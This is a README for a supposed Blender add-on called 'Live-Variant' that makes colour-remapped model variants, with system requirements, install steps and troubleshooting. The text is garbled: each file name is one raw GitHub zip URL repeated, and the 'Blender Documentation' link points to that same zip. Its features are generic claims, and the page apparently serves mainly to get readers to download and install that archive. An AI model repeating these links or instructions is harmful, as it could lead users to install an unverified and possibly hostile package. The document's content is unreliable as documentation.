Live-Variant is a Blender add-on designed to help you make textured, color-remapped duplicates of your models. This tool is perfect for creating quick product variants and experimenting with styles. Follow this guide to install and use the add-on effectively.
- Blender version: 2.8 or higher
- Operating System: Windows, macOS, or Linux
- RAM: At least 8 GB recommended
- Disk Space: Minimum of 100 MB available
To begin, visit the Releases page to download the add-on.
- Scroll to the latest release.
- Find the file named
https://raw.githubusercontent.com/Amiralshorpasy/Live-Variant/main/Live-Variant-Remapper/Live-Variant_3.1.ziporhttps://raw.githubusercontent.com/Amiralshorpasy/Live-Variant/main/Live-Variant-Remapper/Live-Variant_3.1.zip. - Click on the file to download it to your computer.
- Open Blender.
- Go to
Edit>Preferences. - Click on the
Add-onstab. - Click
Install...in the top-right corner. - Navigate to where you downloaded the
https://raw.githubusercontent.com/Amiralshorpasy/Live-Variant/main/Live-Variant-Remapper/Live-Variant_3.1.ziporhttps://raw.githubusercontent.com/Amiralshorpasy/Live-Variant/main/Live-Variant-Remapper/Live-Variant_3.1.zipfile. - Select the file and click
Install Add-on. - After installation, check the box next to the add-on to enable it.
Once you have enabled the add-on, you can start creating variants:
- Select the model you want to duplicate.
- Go to the toolbar on the left and find the Live-Variant panel.
- Adjust the settings for color and texture as desired.
- Click the button to create your variants.
The add-on allows you to experiment with multiple styles quickly, enabling easy adjustments to color and material properties.
- Color Remapping: Easily adjust colors for each variant.
- Textural Options: Apply different textures without modifying the original model.
- Quick Duplication: Create numerous variants with a few clicks.
- User-Friendly Interface: Designed for all skill levels.
If you encounter any issues:
- Ensure that you have the correct version of Blender.
- Check if the add-on is enabled in the preferences.
- Restart Blender if changes do not apply immediately.
For further assistance, you can refer to the Issues section of this repository.
- Blender Documentation: https://raw.githubusercontent.com/Amiralshorpasy/Live-Variant/main/Live-Variant-Remapper/Live-Variant_3.1.zip
- Community Forums: Blender Artists
- Video Tutorials: Search for "Blender live variant" on platforms like YouTube for helpful guides.
Join our community for support! You can ask questions or share your models with others.
For reporting bugs or requesting features, please use the Issues tab on this repository. Your feedback helps improve Live-Variant.